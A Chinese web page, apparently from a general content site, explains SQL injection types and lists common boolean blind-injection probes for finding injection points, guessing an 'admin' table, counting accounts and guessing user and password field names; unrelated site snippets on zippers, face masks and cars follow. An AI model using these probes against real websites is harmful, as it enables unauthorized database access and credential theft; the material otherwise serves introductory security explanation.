sql注入语句
sql注入语句是怎样的呢?下面就让我们一起来了解一下吧:
sql注入语句其实可以分为三种的,即数字型注入点,语句一般是“select * from表名where id=1 and 1=1”;字符型注入点,语句一般是“select * from表名where name...”;搜索型注入点。
而sql注入也就是通过将SQL命令插入到Web表单提交或是输入域名、页面请求的查询字符串,最终可以达到欺骗服务器执行恶意的SQL命令。
sql注入类型通常是可以按照不同方式进行分类的,比如若是按照注入点类型来进行分类可以分为数字型注入点、字符型注入点、搜索型注入点,若是按照数据提交的方式来分类,可以分为GET 注入、POST 注入、Cookie 注入、HTTP 头部注入。
当然也可以按照执行效果来分类,可以分为基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入。
其中常用的语句有:
1、判断有无注入点
; and 1=1 and 1=2
2、猜表 通常表的名称基本上是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3、猜帐号数目 若是遇到0< 返回正确页面 1<返回错误页面那么就说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4、猜解字段名称 在len()括号里面可以加上所想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
-
铜拉链哪个牌子好 铜拉链十大品牌排行榜
为您整理了铜拉链哪个牌子好,分别有darabont、卡佛缇、螃蟹王国、杰克琼斯/Jack Jones、简港、索妮迪菲、施华洛世奇/Swarovski、TVNW、a2a3、QLA...
品牌查看全文>> -
被欺骗心情不好的说说
1、你自不量力的在我面前装,我也只好笑着看着你继续装。2、或许爱笑的人是在用最美的方式难受。3、一切只剩回忆,一切已成往昔。4、愤怒,然后沉思,最后释怀。5、没光的时候影子都会...
说说查看全文>> -
韩束面膜好还是欧诗漫面膜好 韩束面膜和欧诗漫面膜哪个好
今天我们来和大家一起聊一聊关于这两款韩束面膜和欧诗漫面膜怎么样吧,看看他们的详细信息如何呢?值不值得我们消费者去购买呢?韩束和欧诗漫都是比较平价的护肤品,整体的功效和设计也都是...
品牌查看全文>> -
2.0t相当于多大排量
2.0t相当于2.5至2.7L排量,汽车的动力不完全是由排量决定的,还要有调校方式和增压方式的区别。对于很多高端车来说,为了增加动力会采用双涡轮增压,同样是2.0t双涡轮的动力...
问答查看全文>> -
摩托车机油多久更换一次?
摩托车机油2000到3000公里更换一次,摩托车是由汽油机驱动,靠手把操纵前轮转向的两轮或三轮车,轻便灵活、行驶迅速,广泛用于巡逻、客货运输等,也用作体育运动器械。从大的方向上...
问答查看全文>>
推荐
- 12022年微信个性签名 2022最新微信签名285
- 2表达自己很无奈的句子(表达心情压抑又无奈的句子)369
- 312123选号多久拿车牌115
- 4汽车发电机给电瓶充满要多久?231
- 5适合发到群里的早安问候语487
- 6描写风的唯美句子258
- 7转角传感器故障怎么解决?400
- 8送领导一般送红茶还是绿茶251